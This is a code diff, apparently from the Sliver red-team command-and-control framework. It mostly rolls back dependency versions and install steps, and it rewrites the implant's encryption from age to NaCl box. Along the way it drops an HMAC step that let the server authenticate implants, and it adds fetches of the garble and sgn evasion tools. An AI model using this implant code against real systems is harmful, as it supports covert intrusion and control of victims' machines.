       kramdown (~> 2.0)
-    liquid (4.0.4)
-    listen (3.8.0)
+    liquid (4.0.3)
+    listen (3.7.1)
       rb-fsevent (~> 0.10, >= 0.10.3)
       rb-inotify (~> 0.9, >= 0.9.10)
     mercenary (0.3.6)
-    mini_portile2 (2.8.1)
+    mini_portile2 (2.8.0)
     minima (2.5.1)
       jekyll (>= 3.5, < 5.0)
       jekyll-feed (~> 0.9)
       jekyll-seo-tag (~> 2.1)
-    minitest (5.17.0)
-    nokogiri (1.14.3)
+    minitest (5.15.0)
+    multipart-post (2.1.1)
+    nokogiri (1.13.6)
       mini_portile2 (~> 2.8.0)
       racc (~> 1.4)
-    octokit (4.25.1)
-      faraday (>= 1, < 3)
-      sawyer (~> 0.9)
+    octokit (4.22.0)
+      faraday (>= 0.9)
+      sawyer (~> 0.8.0, >= 0.5.3)
     pathutil (0.16.2)
       forwardable-extended (~> 2.6)
-    public_suffix (4.0.7)
-    racc (1.6.2)
-    rb-fsevent (0.11.2)
+    public_suffix (4.0.6)
+    racc (1.6.0)
+    rb-fsevent (0.11.1)
     rb-inotify (0.10.1)
       ffi (~> 1.0)
     rexml (3.2.5)
@@ -235,9 +255,9 @@ GEM
     sass-listen (4.0.0)
       rb-fsevent (~> 0.9, >= 0.9.4)
       rb-inotify (~> 0.9, >= 0.9.7)
-    sawyer (0.9.2)
+    sawyer (0.8.2)
       addressable (>= 2.3.5)
-      faraday (>= 0.17.3, < 3)
+      faraday (> 0.8, < 2.0)
     simpleidn (0.2.1)
       unf (~> 0.1.4)
     terminal-table (1.8.0)
@@ -245,17 +265,16 @@ GEM
     thread_safe (0.3.6)
     typhoeus (1.4.0)
       ethon (>= 0.9.0)
-    tzinfo (1.2.11)
+    tzinfo (1.2.10)
       thread_safe (~> 0.1)
-    tzinfo-data (1.2022.7)
+    tzinfo-data (1.2021.5)
       tzinfo (>= 1.0.0)
     unf (0.1.4)
       unf_ext
-    unf_ext (0.0.8.2)
+    unf_ext (0.0.8)
     unicode-display_width (1.8.0)
     wdm (0.1.1)
-    webrick (1.8.1)
-    zeitwerk (2.6.7)
+    zeitwerk (2.5.4)
 
 PLATFORMS
   ruby
@@ -268,7 +287,6 @@ DEPENDENCIES
   tzinfo (~> 1.2)
   tzinfo-data
   wdm (~> 0.1.0)
-  webrick (~> 1.8)
 
 BUNDLED WITH
-   2.4.6
+   1.17.3

docs/_config.yml

@@ -31,15 +31,6 @@ show_downloads: true
 plugins:
   - jekyll-feed
 
-plugins:
-  - jekyll-notion
-
-# https://www.notion.so/sliver-sh/Sliver-4bbf1c77cabc46e09428c871283683d3?pvs=4
-notion:
-  fetch_on_watch: true
-  databases:
-    - id: 4bbf1c77cabc46e09428c871283683d3
-
 # Exclude from processing.
 # The following items will not be processed, by default. Create a custom list
 # to override the default setting.

docs/install

@@ -10,13 +10,13 @@ fi
 
 if [ -n "$(command -v yum)" ]
 then
-    yum -y install gnupg curl gcc gcc-c++ make mingw64-gcc git
+    yum -y install gnupg curl gcc gcc-c++ make mingw64-gcc
 fi
 
 if [ -n "$(command -v apt-get)" ]
 then
     DEBIAN_FRONTEND=noninteractive apt-get install -yqq \
-        gpg curl build-essential git \
+        gpg curl build-essential \
         mingw-w64 binutils-mingw-w64 g++-mingw-w64
 fi
 
@@ -130,8 +130,7 @@ fi
 
 if test -f "/root/$SLIVER_CLIENT"; then
     chmod 755 /root/$SLIVER_CLIENT 
-    cp -vv /root/$SLIVER_CLIENT /usr/local/bin/sliver-client
-    ln -s /usr/local/bin/sliver-client /usr/local/bin/sliver
+    cp -vv /root/$SLIVER_CLIENT /usr/local/bin/sliver
     chmod 755 /usr/local/bin/sliver
 else
     exit 3
@@ -171,6 +170,6 @@ for USER_DIR in "${USER_DIRS[@]}"; do
     if id -u $USER >/dev/null 2>&1; then
         mkdir -p $USER_DIR/.sliver-client/configs
         /root/sliver-server operator --name $USER --lhost localhost --save $USER_DIR/.sliver-client/configs
-        chown -R $USER:"$(id -gn $USER)" $USER_DIR/.sliver-client/
+        chown -R $USER:$USER $USER_DIR/.sliver-client/
     fi
-done
+done

go-assets.sh

@@ -20,8 +20,8 @@ set -e
 
 # Creates the static go asset archives
 
-GO_VER="1.20.4"
-GARBLE_VER="1.20.4"
+GO_VER="1.18.6"
+GARBLE_VER="1.18.0"
 SGN_VER="0.0.3"
 
 GO_ARCH_1="amd64"
@@ -156,8 +156,8 @@ echo "-----------------------------------------------------------------"
 
 echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux"
 curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
-echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux-$GO_ARCH_2"
-curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux-$GO_ARCH_2
+echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux"
+curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
 echo "curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe"
 curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe
 echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_1"
@@ -190,6 +190,7 @@ curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/sgn.zip https://github.com
 echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_2.zip"
 curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_2.zip
 
+
 # end
 echo -e "clean up: $WORK_DIR"
 rm -rf $WORK_DIR

go.mod

@@ -5,56 +5,56 @@ go 1.18
 replace github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.6
 
 require (
-	filippo.io/age v1.1.1
 	github.com/AlecAivazis/survey/v2 v2.3.6
 	github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d
 	github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf
 	github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
 	github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
-	github.com/Ne0nd0g/go-clr v1.0.3
+	github.com/Ne0nd0g/go-clr v1.0.2
 	github.com/alecthomas/chroma v0.10.0
-	github.com/cheggaaa/pb/v3 v3.1.2
-	github.com/chromedp/cdproto v0.0.0-20230220211738-2b1ec77315c9
-	github.com/chromedp/chromedp v0.9.1
+	github.com/cheggaaa/pb/v3 v3.1.0
+	github.com/chromedp/cdproto v0.0.0-20220827030233-358ed4af73cf
+	github.com/chromedp/chromedp v0.8.5
 	github.com/desertbit/columnize v2.1.0+incompatible
 	github.com/desertbit/go-shlex v0.1.1
 	github.com/desertbit/grumble v1.1.1
 	github.com/desertbit/readline v1.5.1
-	github.com/fatih/color v1.15.0
-	github.com/gofrs/uuid v4.4.0+incompatible
+	github.com/fatih/color v1.13.0
+	github.com/gofrs/uuid v4.3.0+incompatible
 	github.com/google/uuid v1.3.0
 	github.com/gorilla/mux v1.8.0
-	github.com/grpc-ecosystem/go-grpc-middleware v1.4.0
-	github.com/jedib0t/go-pretty/v6 v6.4.6
+	github.com/grpc-ecosystem/go-grpc-middleware v1.3.0
+	github.com/jedib0t/go-pretty/v6 v6.3.8
 	github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
 	github.com/lesnuages/go-winio v0.4.19
 	github.com/lesnuages/snitch v0.6.0
-	github.com/mattn/go-sqlite3 v1.14.16
-	github.com/miekg/dns v1.1.54
+	github.com/mattn/go-sqlite3 v1.14.15
+	github.com/miekg/dns v1.1.50
 	github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
-	github.com/pquerna/otp v1.4.0
-	github.com/sirupsen/logrus v1.9.2
-	github.com/spf13/cobra v1.7.0
-	github.com/stretchr/testify v1.8.1
-	github.com/things-go/go-socks5 v0.0.3
-	github.com/xlab/treeprint v1.2.0
-	github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e
-	golang.org/x/crypto v0.9.0
-	golang.org/x/net v0.10.0
-	golang.org/x/sys v0.8.0
-	golang.org/x/term v0.8.0
-	golang.org/x/text v0.9.0
+	github.com/onsi/ginkgo v1.16.5
+	github.com/onsi/gomega v1.20.2
+	github.com/pquerna/otp v1.3.0
+	github.com/shirou/gopsutil/v3 v3.22.8
+	github.com/sirupsen/logrus v1.9.0
+	github.com/spf13/cobra v1.5.0
+	github.com/stretchr/testify v1.8.0
+	github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
+	golang.org/x/crypto v0.0.0-20220829220503-c86fa9a7ed90
+	golang.org/x/net v0.0.0-20220722155237-a158d28d115b
+	golang.org/x/sys v0.0.0-20220825204002-c680a09ffe64
+	golang.org/x/term v0.0.0-20210927222741-03fcf44c2211
+	golang.org/x/text v0.3.7
 	golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
 	golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68
-	google.golang.org/grpc v1.55.0
-	google.golang.org/protobuf v1.30.0
+	google.golang.org/grpc v1.42.0-dev.0.20211020220737-f00baa6c3c84
+	google.golang.org/protobuf v1.28.1
 	gopkg.in/AlecAivazis/survey.v1 v1.8.8
-	gorm.io/driver/mysql v1.5.1
-	gorm.io/driver/postgres v1.5.2
-	gorm.io/driver/sqlite v1.5.1
-	gorm.io/gorm v1.25.1
-	gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5
-	modernc.org/sqlite v1.22.1
+	gorm.io/driver/mysql v1.3.6
+	gorm.io/driver/postgres v1.3.10
+	gorm.io/driver/sqlite v1.3.6
+	gorm.io/gorm v1.23.9
+	gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
+	modernc.org/sqlite v1.16.0
 )
 
 require (
@@ -62,7 +62,7 @@ require (
 	github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd // indirect
 	github.com/Microsoft/go-winio v0.5.1 // indirect
 	github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab // indirect
-	github.com/VividCortex/ewma v1.2.0 // indirect
+	github.com/VividCortex/ewma v1.1.1 // indirect
 	github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
 	github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
 	github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc // indirect
@@ -71,56 +71,63 @@ require (
 	github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d // indirect
 	github.com/desertbit/closer/v3 v3.1.2 // indirect
 	github.com/dlclark/regexp2 v1.4.0 // indirect
-	github.com/dustin/go-humanize v1.0.1 // indirect
+	github.com/fsnotify/fsnotify v1.4.9 // indirect
 	github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
-	github.com/go-sql-driver/mysql v1.7.0 // indirect
+	github.com/go-ole/go-ole v1.2.6 // indirect
+	github.com/go-sql-driver/mysql v1.6.0 // indirect
 	github.com/gobwas/httphead v0.1.0 // indirect
 	github.com/gobwas/pool v0.2.1 // indirect
 	github.com/gobwas/ws v1.1.0 // indirect
-	github.com/golang/protobuf v1.5.3 // indirect
+	github.com/golang/protobuf v1.5.2 // indirect
 	github.com/google/btree v1.0.1 // indirect
+	github.com/google/go-cmp v0.5.8 // indirect
 	github.com/hashicorp/errwrap v1.1.0 // indirect
 	github.com/hashicorp/go-multierror v1.1.1 // indirect
-	github.com/hashicorp/go-uuid v1.0.2 // indirect
-	github.com/inconshreveable/mousetrap v1.1.0 // indirect
+	github.com/inconshreveable/mousetrap v1.0.0 // indirect
+	github.com/jackc/chunkreader/v2 v2.0.1 // indirect
+	github.com/jackc/pgconn v1.13.0 // indirect
+	github.com/jackc/pgio v1.0.0 // indirect
 	github.com/jackc/pgpassfile v1.0.0 // indirect
-	github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a // indirect
-	github.com/jackc/pgx/v5 v5.3.1 // indirect
-	github.com/jcmturner/gofork v1.0.0 // indirect
+	github.com/jackc/pgproto3/v2 v2.3.1 // indirect
+	github.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b // indirect
+	github.com/jackc/pgtype v1.12.0 // indirect
+	github.com/jackc/pgx/v4 v4.17.2 // indirect
 	github.com/jinzhu/inflection v1.0.0 // indirect
 	github.com/jinzhu/now v1.1.5 // indirect
 	github.com/josharian/intern v1.0.0 // indirect
 	github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
+	github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 // indirect
 	github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
 	github.com/mailru/easyjson v0.7.7 // indirect
-	github.com/mattn/go-colorable v0.1.13 // indirect
-	github.com/mattn/go-isatty v0.0.17 // indirect
+	github.com/mattn/go-colorable v0.1.9 // indirect
+	github.com/mattn/go-isatty v0.0.14 // indirect
 	github.com/mattn/go-runewidth v0.0.13 // indirect
 	github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect
+	github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
+	github.com/nxadm/tail v1.4.8 // indirect
 	github.com/pmezard/go-difflib v1.0.0 // indirect
-	github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect
+	github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c // indirect
+	github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 // indirect
 	github.com/rivo/uniseg v0.2.0 // indirect
-	github.com/rogpeppe/go-internal v1.10.0 // indirect
 	github.com/spf13/pflag v1.0.5 // indirect
 	github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
-	golang.org/x/mod v0.8.0 // indirect
+	github.com/yusufpapurcu/wmi v1.2.2 // indirect
+	golang.org/x/mod v0.5.1 // indirect
 	golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba // indirect
-	golang.org/x/tools v0.6.0 // indirect
+	golang.org/x/tools v0.1.9 // indirect
+	golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
 	golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
-	google.golang.org/genproto v0.0.0-20230306155012-7f2fa6fef1f4 // indirect
-	gopkg.in/jcmturner/aescts.v1 v1.0.1 // indirect
-	gopkg.in/jcmturner/dnsutils.v1 v1.0.1 // indirect
-	gopkg.in/jcmturner/goidentity.v3 v3.0.0 // indirect
-	gopkg.in/jcmturner/gokrb5.v7 v7.5.0 // indirect
-	gopkg.in/jcmturner/rpc.v1 v1.1.0 // indirect
+	google.golang.org/genproto v0.0.0-20210722135532-667f2b7c528f // indirect
+	gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b // indirect
+	gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 // indirect
 	gopkg.in/yaml.v3 v3.0.1 // indirect
-	lukechampine.com/uint128 v1.2.0 // indirect
-	modernc.org/cc/v3 v3.40.0 // indirect
-	modernc.org/ccgo/v3 v3.16.13 // indirect
-	modernc.org/libc v1.22.5 // indirect
-	modernc.org/mathutil v1.5.0 // indirect
-	modernc.org/memory v1.5.0 // indirect
-	modernc.org/opt v0.1.3 // indirect
-	modernc.org/strutil v1.1.3 // indirect
-	modernc.org/token v1.0.1 // indirect
+	lukechampine.com/uint128 v1.1.1 // indirect
+	modernc.org/cc/v3 v3.35.24 // indirect
+	modernc.org/ccgo/v3 v3.15.18 // indirect
+	modernc.org/libc v1.14.12 // indirect
+	modernc.org/mathutil v1.4.1 // indirect
+	modernc.org/memory v1.0.7 // indirect
+	modernc.org/opt v0.1.1 // indirect
+	modernc.org/strutil v1.1.1 // indirect
+	modernc.org/token v1.0.0 // indirect
 )

implant/go-mod

@@ -1,11 +1,10 @@
 module github.com/bishopfox/sliver
 
-go 1.18
+go 1.17
 
 require (
-	filippo.io/age v1.1.1
 	github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
-	github.com/Ne0nd0g/go-clr v1.0.3
+	github.com/Ne0nd0g/go-clr v1.0.2
 	github.com/gofrs/uuid v4.0.0+incompatible
 	github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
 	github.com/lesnuages/go-winio v0.4.19
@@ -14,39 +13,31 @@ require (
 	github.com/pquerna/otp v1.3.0
 	github.com/stretchr/testify v1.7.0
 	github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
-	github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e
-	golang.org/x/crypto v0.4.0
-	golang.org/x/net v0.3.0
-	golang.org/x/sys v0.3.0
+	golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
+	golang.org/x/net v0.0.0-20220225172249-27dd8689420f
+	golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f
 	golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
-	google.golang.org/protobuf v1.28.0
-	gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5
+	google.golang.org/protobuf v1.26.0
+	gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
 )
 
 require (
 	github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2 // indirect
 	github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc // indirect
-	github.com/Microsoft/go-winio v0.5.1 // indirect
+	github.com/Microsoft/go-winio v0.5.0 // indirect
 	github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
 	github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
 	github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc // indirect
 	github.com/davecgh/go-spew v1.1.1 // indirect
 	github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
 	github.com/google/btree v1.0.1 // indirect
-	github.com/google/go-cmp v0.5.8 // indirect
-	github.com/hashicorp/go-uuid v1.0.2 // indirect
-	github.com/jcmturner/gofork v1.0.0 // indirect
 	github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
 	github.com/pmezard/go-difflib v1.0.0 // indirect
-	golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4 // indirect
-	golang.org/x/text v0.5.0 // indirect
+	golang.org/x/mod v0.4.2 // indirect
+	golang.org/x/text v0.3.7 // indirect
 	golang.org/x/time v0.0.0-20191024005414-555d28b269f0 // indirect
-	golang.org/x/tools v0.1.12 // indirect
+	golang.org/x/tools v0.1.7 // indirect
+	golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
 	golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
-	gopkg.in/jcmturner/aescts.v1 v1.0.1 // indirect
-	gopkg.in/jcmturner/dnsutils.v1 v1.0.1 // indirect
-	gopkg.in/jcmturner/goidentity.v3 v3.0.0 // indirect
-	gopkg.in/jcmturner/gokrb5.v7 v7.5.0 // indirect
-	gopkg.in/jcmturner/rpc.v1 v1.1.0 // indirect
-	gopkg.in/yaml.v3 v3.0.1 // indirect
+	gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c // indirect
 )

implant/sliver/cryptography/crypto.go

@@ -20,6 +20,7 @@ package cryptography
 
 import (
 	"bytes"
+	"compress/gzip"
 	"crypto/rand"
 	"crypto/sha256"
 	"crypto/x509"
@@ -27,7 +28,6 @@ import (
 	"errors"
 	"io"
 	"os"
-	"strings"
 	"sync"
 	"time"
 
@@ -35,11 +35,10 @@ import (
 	"log"
 	// {{end}}
 
-	"filippo.io/age"
-	"github.com/bishopfox/sliver/implant/sliver/encoders"
 	"github.com/pquerna/otp"
 	"github.com/pquerna/otp/totp"
 	"golang.org/x/crypto/chacha20poly1305"
+	"golang.org/x/crypto/nacl/box"
 )
 
 var (
@@ -54,61 +53,34 @@ var (
 	ErrReplayAttack = errors.New("replay attack detected")
 	// ErrDecryptFailed
 	ErrDecryptFailed = errors.New("decryption failed")
-
-	ageMsgPrefix        = []byte("age-encryption.org/v1\n-> X25519 ")
-	agePublicKeyPrefix  = "age1"
-	agePrivateKeyPrefix = "AGE-SECRET-KEY-1"
 )
 
-// AgeKeyPair - Holds the public/private key pair
-type AgeKeyPair struct {
-	Public  string
-	Private string
+// ECCKeyPair - Holds the public/private key pair
+type ECCKeyPair struct {
+	Public  *[32]byte
+	Private *[32]byte
 }
 
-// AgeEncrypt - Encrypt using Nacl Box
-func AgeEncrypt(recipientPublicKey string, plaintext []byte) ([]byte, error) {
-	if !strings.HasPrefix(recipientPublicKey, agePublicKeyPrefix) {
-		recipientPublicKey = agePublicKeyPrefix + recipientPublicKey
-	}
-	recipient, err := age.ParseX25519Recipient(recipientPublicKey)
-	if err != nil {
+// ECCEncrypt - Encrypt using Nacl Box
+func ECCEncrypt(recipientPublicKey *[32]byte, senderPrivateKey *[32]byte, plaintext []byte) ([]byte, error) {
+	var nonce [24]byte
+	if _, err := io.ReadFull(rand.Reader, nonce[:]); err != nil {
 		return nil, err
 	}
-	buf := bytes.NewBuffer([]byte{})
-	stream, err := age.Encrypt(buf, recipient)
-	if err != nil {
-		return nil, err
-	}
-	if _, err := stream.Write(plaintext); err != nil {
-		return nil, err
-	}
-	if err := stream.Close(); err != nil {
-		return nil, err
-	}
-	return bytes.TrimPrefix(buf.Bytes(), ageMsgPrefix), nil
+	encrypted := box.Seal(nonce[:], plaintext, &nonce, recipientPublicKey, senderPrivateKey)
+	return encrypted, nil
 }
 
-// AgeDecrypt - Decrypt using Curve 25519 + ChaCha20Poly1305
-func AgeDecrypt(recipientPrivateKey string, ciphertext []byte) ([]byte, error) {
+// ECCDecrypt - Decrypt using Curve 25519 + ChaCha20Poly1305
+func ECCDecrypt(senderPublicKey *[32]byte, recipientPrivateKey *[32]byte, ciphertext []byte) ([]byte, error) {
 	if len(ciphertext) < 24 {
 		return nil, errors.New("ciphertext too short")
 	}
-	if !strings.HasPrefix(recipientPrivateKey, agePrivateKeyPrefix) {
-		recipientPrivateKey = agePrivateKeyPrefix + recipientPrivateKey
-	}
-	identity, err := age.ParseX25519Identity(recipientPrivateKey)
-	if err != nil {
-		return nil, err
-	}
-	buf := bytes.NewBuffer(append(ageMsgPrefix, ciphertext...))
-	stream, err := age.Decrypt(buf, identity)
-	if err != nil {
-		return nil, err
-	}
-	plaintext, err := io.ReadAll(stream)
-	if err != nil {
-		return nil, err
+	var decryptNonce [24]byte
+	copy(decryptNonce[:], ciphertext[:24])
+	plaintext, ok := box.Open(nil, ciphertext[24:], &decryptNonce, senderPublicKey, recipientPrivateKey)
+	if !ok {
+		return nil, ErrDecryptFailed
 	}
 	return plaintext, nil
 }
@@ -135,7 +107,7 @@ func Encrypt(key [chacha20poly1305.KeySize]byte, plaintext []byte) ([]byte, erro
 	if err != nil {
 		return nil, err
 	}
-	plaintext = bytes.NewBuffer(encoders.GzipBuf(plaintext)).Bytes()
+	plaintext = bytes.NewBuffer(GzipBuf(plaintext)).Bytes()
 	nonce := make([]byte, aead.NonceSize(), aead.NonceSize()+len(plaintext)+aead.Overhead())
 	if _, err := rand.Read(nonce); err != nil {
 		return nil, err
@@ -162,7 +134,7 @@ func Decrypt(key [chacha20poly1305.KeySize]byte, ciphertext []byte) ([]byte, err
 	if err != nil {
 		return nil, err
 	}
-	return encoders.GunzipBuf(plaintext), nil
+	return GunzipBuf(plaintext), nil
 }
 
 // NewCipherContext - Wrapper around creating a cipher context from a key
@@ -276,19 +248,19 @@ func RootOnlyVerifyCertificate(caCertPEM string, rawCerts [][]byte, _ [][]*x509.
 	return nil
 }
 
-//// GzipBuf - Gzip a buffer
-//func GzipBuf(data []byte) []byte {
-//	var buf bytes.Buffer
-//	zip := gzip.NewWriter(&buf)
-//	zip.Write(data)
-//	zip.Close()
-//	return buf.Bytes()
-//}
-//
-//// GunzipBuf - Gunzip a buffer
-//func GunzipBuf(data []byte) []byte {
-//	zip, _ := gzip.NewReader(bytes.NewBuffer(data))
-//	var buf bytes.Buffer
-//	buf.ReadFrom(zip)
-//	return buf.Bytes()
-//}
+// GzipBuf - Gzip a buffer
+func GzipBuf(data []byte) []byte {
+	var buf bytes.Buffer
+	zip := gzip.NewWriter(&buf)
+	zip.Write(data)
+	zip.Close()
+	return buf.Bytes()
+}
+
+// GunzipBuf - Gunzip a buffer
+func GunzipBuf(data []byte) []byte {
+	zip, _ := gzip.NewReader(bytes.NewBuffer(data))
+	var buf bytes.Buffer
+	buf.ReadFrom(zip)
+	return buf.Bytes()
+}

implant/sliver/cryptography/implant.go

@@ -19,7 +19,6 @@ package cryptography
 */
 
 import (
-	"crypto/hmac"
 	"crypto/sha256"
 	"encoding/base64"
 	"errors"
@@ -60,22 +59,29 @@ func SetSecrets(newEccPublicKey, newEccPrivateKey, newEccPublicKeySignature, new
 
 // {{end}}
 
-// GetPeerAgeKeyPair - Get the implant's key pair
-func GetPeerAgeKeyPair() *AgeKeyPair {
-	return &AgeKeyPair{
-		Public:  ECCPublicKey,
-		Private: eccPrivateKey,
+// GetECCKeyPair - Get the implant's key pair
+func GetECCKeyPair() *ECCKeyPair {
+	publicRaw, err := base64.RawStdEncoding.DecodeString(ECCPublicKey)
+	if err != nil {
+		panic("no public key")
+	}
+	var public [32]byte
+	copy(public[:], publicRaw)
+	privateRaw, err := base64.RawStdEncoding.DecodeString(eccPrivateKey)
+	if err != nil {
+		panic("no private key")
+	}
+	var private [32]byte
+	copy(private[:], privateRaw)
+	return &ECCKeyPair{
+		Public:  &public,
+		Private: &private,
 	}
-}
-
-// GetServerAgePublicKey - Get the decoded server public key
-func GetServerAgePublicKey() string {
-	return eccServerPublicKey
 }
 
 // MinisignVerify - Verify a minisign signature
 func MinisignVerify(message []byte, signature string) bool {
-	serverMinisignPublicKey, err := DecodeMinisignPublicKey(minisignServerPublicKey)
+	serverPublicKey, err := DecodeMinisignPublicKey(minisignServerPublicKey)
 	if err != nil {
 		// {{if .Config.Debug}}
 		log.Printf("failed to decode minisign public key: %s", err)
@@ -89,7 +95,7 @@ func MinisignVerify(message []byte, signature string) bool {
 		// {{end}}
 		return false
 	}
-	valid, err := serverMinisignPublicKey.Verify(message, sig)
+	valid, err := serverPublicKey.Verify(message, sig)
 	if err != nil {
 		// {{if .Config.Debug}}
 		log.Printf("minisign signature validation error: %s", err)
@@ -113,59 +119,50 @@ func GetServerECCPublicKey() *[32]byte {
 	return &public
 }
 
-// AgeKeyExToServer - Encrypt using the server's public key
-func AgeKeyExToServer(plaintext []byte) ([]byte, error) {
-	recipientPublicKey := GetServerAgePublicKey()
-	if recipientPublicKey == "" {
+// ECCEncryptToServer - Encrypt using the server's public key
+func ECCEncryptToServer(plaintext []byte) ([]byte, error) {
+	recipientPublicKey := GetServerECCPublicKey()
+	if recipientPublicKey == nil {
 		panic("no server public key")
 	}
-
-	peerKeyPair := GetPeerAgeKeyPair()
-
-	// First HMAC the plaintext with the hash of the implant's private key
-	// this ensures that the server is talking to a valid implant
-	privateDigest := sha256.New()
-	privateDigest.Write([]byte(peerKeyPair.Private))
-	mac := hmac.New(sha256.New, privateDigest.Sum(nil))
-	mac.Write(plaintext)
-
-	// Next encrypt using server's Age public key
-	ciphertext, err := AgeEncrypt(recipientPublicKey, append(mac.Sum(nil), plaintext...))
+	keyPair := GetECCKeyPair()
+	ciphertext, err := ECCEncrypt(recipientPublicKey, keyPair.Private, plaintext)
 	if err != nil {
 		return nil, err
 	}
-
-	// Sender includes hash of it's implant specific peer public key
-	publicDigest := sha256.Sum256([]byte(peerKeyPair.Public))
+	digest := sha256.Sum256((*keyPair.Public)[:])
 	msg := make([]byte, 32+len(ciphertext))
-	copy(msg, publicDigest[:])
+	copy(msg, digest[:])
 	copy(msg[32:], ciphertext)
 	return msg, nil
 }
 
-// AgeEncryptToPeer - Encrypt using the peer's public key
-func AgeEncryptToPeer(recipientPublicKey []byte, recipientPublicKeySig string, plaintext []byte) ([]byte, error) {
+// ECCEncryptToPeer - Encrypt using the peer's public key
+func ECCEncryptToPeer(recipientPublicKey []byte, recipientPublicKeySig string, plaintext []byte) ([]byte, error) {
 	valid := MinisignVerify(recipientPublicKey, recipientPublicKeySig)
 	if !valid {
 		return nil, ErrInvalidPeerKey
 	}
-	ciphertext, err := AgeEncrypt(string(recipientPublicKey), plaintext)
+	var peerPublicKey [32]byte
+	copy(peerPublicKey[:], recipientPublicKey)
+	keyPair := GetECCKeyPair()
+	ciphertext, err := ECCEncrypt(&peerPublicKey, keyPair.Private, plaintext)
 	if err != nil {
 		return nil, err
 	}
 	return ciphertext, nil
 }
 
-// AgeDecryptFromPeer - Decrypt a message from a peer
-func AgeDecryptFromPeer(senderPublicKey []byte, senderPublicKeySig string, ciphertext []byte) ([]byte, error) {
